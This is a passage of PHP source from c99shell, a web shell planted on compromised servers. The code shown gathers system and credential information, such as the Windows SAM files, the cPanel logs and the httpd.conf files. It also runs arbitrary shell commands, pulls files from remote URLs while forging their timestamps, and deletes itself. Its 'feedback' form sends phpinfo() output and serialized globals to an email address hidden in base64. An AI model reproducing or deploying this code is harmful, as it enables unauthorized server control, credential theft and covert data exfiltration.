  1536.   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  1537.   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
  1538.  }
  1539.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1540.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1541.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1542.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1543.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  1544.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  1545.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  1546.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  1547.  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  1548.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  1549.  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  1550.  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  1551.  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  1552.  displaysecinfo("RAM",myshellexec("free -m"));
  1553.  displaysecinfo("HDD space",myshellexec("df -h"));
  1554.  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1555.  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  1556.  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  1557.  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  1558.  displaysecinfo("Is links installed?",myshellexec("which links"));
  1559.  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  1560.  displaysecinfo("Is GET installed?",myshellexec("which GET"));
  1561.  displaysecinfo("Is perl installed?",myshellexec("which perl"));
  1562.  displaysecinfo("Where is apache",myshellexec("whereis apache"));
  1563.  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1564.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1565.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  1566.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  1567.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1568. }
  1569. if ($act == "mkfile")
  1570. {
  1571.  if ($mkfile != $d)
  1572.  {
  1573.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1574.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1575.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1576.  }
  1577.  else {$act = $dspact = "ls";}
  1578. }
  1579. if ($act == "encoder")
  1580. {
  1581.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  1582.  foreach(array("md5","crypt","sha1","crc32") as $v)
  1583.  {
  1584.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1585.  }
  1586.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  1587. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  1588. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  1589.  echo "<center>base64_decode - ";
  1590.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  1591.  else
  1592.  {
  1593.   $debase64 = base64_decode($encoder_input);
  1594.   $debase64 = str_replace("\0","[0]",$debase64);
  1595.   $a = explode("\r\n",$debase64);
  1596.   $rows = count($a);
  1597.   $debase64 = htmlspecialchars($debase64);
  1598.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  1599.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  1600.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  1601.  }
  1602.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1603.  $c = strlen($encoder_input);
  1604.  for($i=0;$i<$c;$i++)
  1605.  {
  1606.   $hex = dechex(ord($encoder_input[$i]));
  1607.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1608.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1609.  }
  1610.  echo "\" readonly><br></center></form>";
  1611. }
  1612. if ($act == "fsbuff")
  1613. {
  1614.  $arr_copy = $sess_data["copy"];
  1615.  $arr_cut = $sess_data["cut"];
  1616.  $arr = array_merge($arr_copy,$arr_cut);
  1617.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  1618.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";}
  1619. }
  1620. if ($act == "selfremove")
  1621. {
  1622.  if (($submit == $rndcode) and ($submit != ""))
  1623.  {
  1624.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
  1625.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1626.  }
  1627.  else
  1628.  {
  1629.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  1630.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  1631.   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  1632.  }
  1633. }
  1634. if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  1635. if ($act == "feedback")
  1636. {
  1637.  $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
  1638.  if (!empty($submit))
  1639.  {
  1640.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1641.   $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1642.   if (!empty($fdbk_ref))
  1643.   {
  1644.    $tmp = @ob_get_contents();
  1645.    ob_clean();
  1646.    phpinfo();
  1647.    $phpinfo = base64_encode(ob_get_contents());
  1648.    ob_clean();
  1649.    echo $tmp;
  1650.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1651.   }
  1652.   mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1653.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1654.  }
  1655.  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  1656. }
  1657. if ($act == "search")
  1658. {
  1659.  echo "<b>Search in file-system:</b><br>";
  1660.  if (empty($search_in)) {$search_in = $d;}
  1661.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1662.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1663.  if (!empty($submit))
  1664.  {
  1665.   $found = array();
  1666.   $found_d = 0;
  1667.   $found_f = 0;
  1668.   $search_i_f = 0;
  1669.   $search_i_d = 0;
  1670.   $a = array
  1671.   (
  1672.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  1673.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  1674.    "text_wwo"=>$search_text_wwo,
  1675.    "text_cs"=>$search_text_cs,
  1676.    "text_not"=>$search_text_not
  1677.   );
  1678.   $searchtime = getmicrotime();
  1679.   $in = array_unique(explode(";",$search_in));
  1680.   foreach($in as $v) {c99fsearch($v);}
  1681.   $searchtime = round(getmicrotime()-$searchtime,4);
  1682.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  1683.   else
  1684.   {
  1685.    $ls_arr = $found;
  1686.    $disp_fullpath = true;
  1687.    $act = "ls";
  1688.   }
  1689.  }
  1690.  echo "<form method=POST>
  1691. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  1692. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  1693. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1694. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  1695. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  1696. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  1697. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  1698. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  1699. <br><br><input type=submit name=submit value=\"Search\"></form>";
  1700.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  1701. }
  1702. if ($act == "chmod")
  1703. {
  1704.  $mode = fileperms($d.$f);
  1705.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1706.  else
  1707.  {
  1708.   $form = true;
  1709.   if ($chmod_submit)
  1710.   {
  1711.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1712.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";}
  1713.    else {$err = "Can't chmod to ".$octet.".";}
  1714.   }
  1715.   if ($form)
  1716.   {
  1717.    $perms = parse_perms($mode);
  1718.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1719.   }
  1720.  }
  1721. }
  1722. if ($act == "upload")
  1723. {
  1724.  $uploadmess = "";
  1725.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1726.  if (empty($uploadpath)) {$uploadpath = $d;}
  1727.  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  1728.  if (!empty($submit))
  1729.  {
  1730.   global $HTTP_POST_FILES;
  1731.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  1732.   if (!empty($uploadfile["tmp_name"]))
  1733.   {
  1734.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1735.    else {$destin = $userfilename;}
  1736.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  1737.   }
  1738.   elseif (!empty($uploadurl))
  1739.   {
  1740.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  1741.    else
  1742.    {
  1743.     $destin = explode("/",$destin);
  1744.     $destin = $destin[count($destin)-1];
  1745.     if (empty($destin))
  1746.     {
  1747.      $i = 0;
  1748.      $b = "";
  1749.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  1750.    }
  1751.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  1752.    else
  1753.    {
  1754.     $st = getmicrotime();
  1755.     $content = @file_get_contents($uploadurl);
  1756.     $dt = round(getmicrotime()-$st,4);
  1757.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  1758.     else
  1759.     {
  1760.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  1761.      $fp = fopen($uploadpath.$destin,"w");
  1762.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  1763.      else
  1764.      {
  1765.       fwrite($fp,$content,strlen($content));
  1766.       fclose($fp);
  1767.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  1768.      }
  1769.     }
  1770.    }
  1771.   }
  1772.  }
  1773.  if ($miniform)
  1774.  {
  1775.   echo "<b>".$uploadmess."</b>";
  1776.   $act = "ls";
  1777.  }
  1778.  else
  1779.  {
  1780.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  1781. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  1782. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  1783. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  1784. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  1785. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  1786. <input type=submit name=submit value=\"Upload\">
  1787. </form>";
  1788.  }
  1789. }
  1790. if ($act == "delete")
  1791. {
  1792.  $delerr = "";
  1793.  foreach ($actbox as $v)
  1794.  {
  1795.   $result = false;
  1796.   $result = fs_rmobj($v);
  1797.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1798.  }
  1799.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1800.  $act = "ls";
  1801. }
  1802. if (!$usefsbuff)
  1803. {
  1804.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  1805. }
  1806. else
  1807. {
  1808.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
  1809.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
  1810.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  1811.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
  1812.  elseif ($actpastebuff)
  1813.  {
  1814.   $psterr = "";
  1815.   foreach($sess_data["copy"] as $k=>$v)
  1816.   {
  1817.    $to = $d.basename($v);
  1818.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1819.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1820.   }
  1821.   foreach($sess_data["cut"] as $k=>$v)
  1822.   {
  1823.    $to = $d.basename($v);
  1824.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1825.    unset($sess_data["cut"][$k]);
  1826.   }
  1827.   c99_sess_put($sess_data);
  1828.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1829.   $act = "ls";
  1830.  }
  1831.  elseif ($actarcbuff)
  1832.  {
  1833.   $arcerr = "";
  1834.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1835.   else {$ext = ".tar.gz";}
  1836.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1837.   $cmdline .= " ".$actarcbuff_path;
  1838.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1839.   foreach($objects as $v)
  1840.   {
  1841.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1842.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1843.    if (is_dir($v))
  1844.    {
  1845.     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1846.     $v .= "*";
  1847.    }
  1848.    $cmdline .= " ".$v;
  1849.   }
  1850.   $tmp = realpath(".");
  1851.   chdir($d);
  1852.   $ret = myshellexec($cmdline);
  1853.   chdir($tmp);
  1854.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1855.   $ret = str_replace("\r\n","\n",$ret);
  1856.   $ret = explode("\n",$ret);
  1857.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1858.   foreach($sess_data["cut"] as $k=>$v)
  1859.   {
  1860.    if (in_array($v,$ret)) {fs_rmobj($v);}
  1861.    unset($sess_data["cut"][$k]);
  1862.   }
  1863.   c99_sess_put($sess_data);
  1864.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1865.   $act = "ls";
  1866.  }
  1867.  elseif ($actpastebuff)
  1868.  {
  1869.   $psterr = "";
  1870.   foreach($sess_data["copy"] as $k=>$v)
  1871.   {
  1872.    $to = $d.basename($v);
  1873.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1874.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1875.   }
  1876.   foreach($sess_data["cut"] as $k=>$v)
  1877.   {
  1878.    $to = $d.basename($v);
  1879.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1880.    unset($sess_data["cut"][$k]);
  1881.   }
  1882.   c99_sess_put($sess_data);
  1883.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1884.   $act = "ls";
  1885.  }
  1886. }
  1887. if ($act == "cmd")
  1888. {
  1889. if (trim($cmd) == "ps -aux") {$act = "processes";}
  1890. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  1891. else
  1892. {
  1893.  @chdir($chdir);
  1894.  if (!empty($submit))
  1895.  {
  1896.   echo "<b>Result of execution this command</b>:<br>";
  1897.   $olddir = realpath(".");
  1898.   @chdir($d);
  1899.   $ret = myshellexec($cmd);
  1900.   $ret = convert_cyr_string($ret,"d","w");
  1901.   if ($cmd_txt)
  1902.   {
  1903.    $rows = count(explode("\r\n",$ret))+1;
  1904.    if ($rows < 10) {$rows = 10;}
  1905.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1906.   }
  1907.   else {echo $ret."<br>";}
  1908.   @chdir($olddir);
  1909.  }
  1910.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
  1911.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  1912. }
  1913. }
  1914. if ($act == "ls")
  1915. {
  1916.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  1917.  else
  1918.  {
  1919.   $list = array();
  1920.   if ($h = @opendir($d))
  1921.   {
  1922.    while (($o = readdir($h)) !== false) {$list[] = $d.$o;}
  1923.    closedir($h);
  1924.   }
  1925.   else {}
  1926.  }
  1927.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  1928.  else
  1929.  {
  1930.   //Building array
  1931.   $objects = array();
  1932.   $vd = "f"; //Viewing mode
  1933.   if ($vd == "f")
  1934.   {
  1935.    $objects["head"] = array();
  1936.    $objects["folders"] = array();
  1937.    $objects["links"] = array();
  1938.    $objects["files"] = array();
  1939.    foreach ($list as $v)
  1940.    {
  1941.     $o = basename($v);
  1942.     $row = array();
  1943.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  1944.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  1945.     elseif (is_dir($v))
  1946.     {
  1947.      if (is_link($v)) {$type = "LINK";}
  1948.      else {$type = "DIR";}
  1949.      $row[] = $v;
  1950.      $row[] = $type;
  1951.     }
  1952.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1953.     $row[] = filemtime($v);
  1954.     if (!$win)
  1955.     {
  1956.      $ow = posix_getpwuid(fileowner($v));
  1957.      $gr = posix_getgrgid(filegroup($v));
  1958.      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1959.     }
  1960.     $row[] = fileperms($v);
  1961.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1962.     elseif (is_link($v)) {$objects["links"][] = $row;}
  1963.     elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1964.     elseif (is_file($v)) {$objects["files"][] = $row;}
  1965.     $i++;
  1966.    }
  1967.    $row = array();
  1968.    $row[] = "<b>Name</b>";
  1969.    $row[] = "<b>Size</b>";
  1970.    $row[] = "<b>Modify</b>";
  1971.    if (!$win)
  1972.   {$row[] = "<b>Owner/Group</b>";}
  1973.    $row[] = "<b>Perms</b>";
  1974.    $row[] = "<b>Action</b>";
  1975.    $parsesort = parsesort($sort);
  1976.    $sort = $parsesort[0].$parsesort[1];
  1977.    $k = $parsesort[0];
  1978.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1979.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1980.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1981.    $row[$k] .= $y;
  1982.    for($i=0;$i<count($row)-1;$i++)
  1983.    {
  1984.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1985.    }
  1986.    $v = $parsesort[0];
  1987.    usort($objects["folders"], "tabsort");
  1988.    usort($objects["links"], "tabsort");
  1989.    usort($objects["files"], "tabsort");
  1990.    if ($parsesort[1] == "d")
  1991.    {
  1992.     $objects["folders"] = array_reverse($objects["folders"]);
  1993.     $objects["files"] = array_reverse($objects["files"]);
  1994.    }
  1995.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1996.    $tab = array();
  1997.    $tab["cols"] = array($row);
  1998.    $tab["head"] = array();
  1999.    $tab["folders"] = array();
  2000.    $tab["links"] = array();
  2001.    $tab["files"] = array();
  2002.    $i = 0;
  2003.    foreach ($objects as $a)
  2004.    {
  2005.     $v = $a[0];
  2006.     $o = basename($v);
  2007.     $dir = dirname($v);
  2008.     if ($disp_fullpath) {$disppath = $v;}
  2009.     else {$disppath = $o;}
  2010.     $disppath = str2mini($disppath,60);
  2011.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  2012.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  2013.     foreach ($regxp_highlight as $r)
  2014.     {
  2015.      if (ereg($r[0],$o))
  2016.      {
  2017.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
  2018.       else
  2019.       {
  2020.        $r[1] = round($r[1]);
  2021.        $isdir = is_dir($v);
  2022.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  2023.        {
  2024.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  2025.         $disppath = $r[2].$disppath.$r[3];
  2026.         if ($r[4]) {break;}
  2027.        }
  2028.       }
  2029.      }
  2030.     }
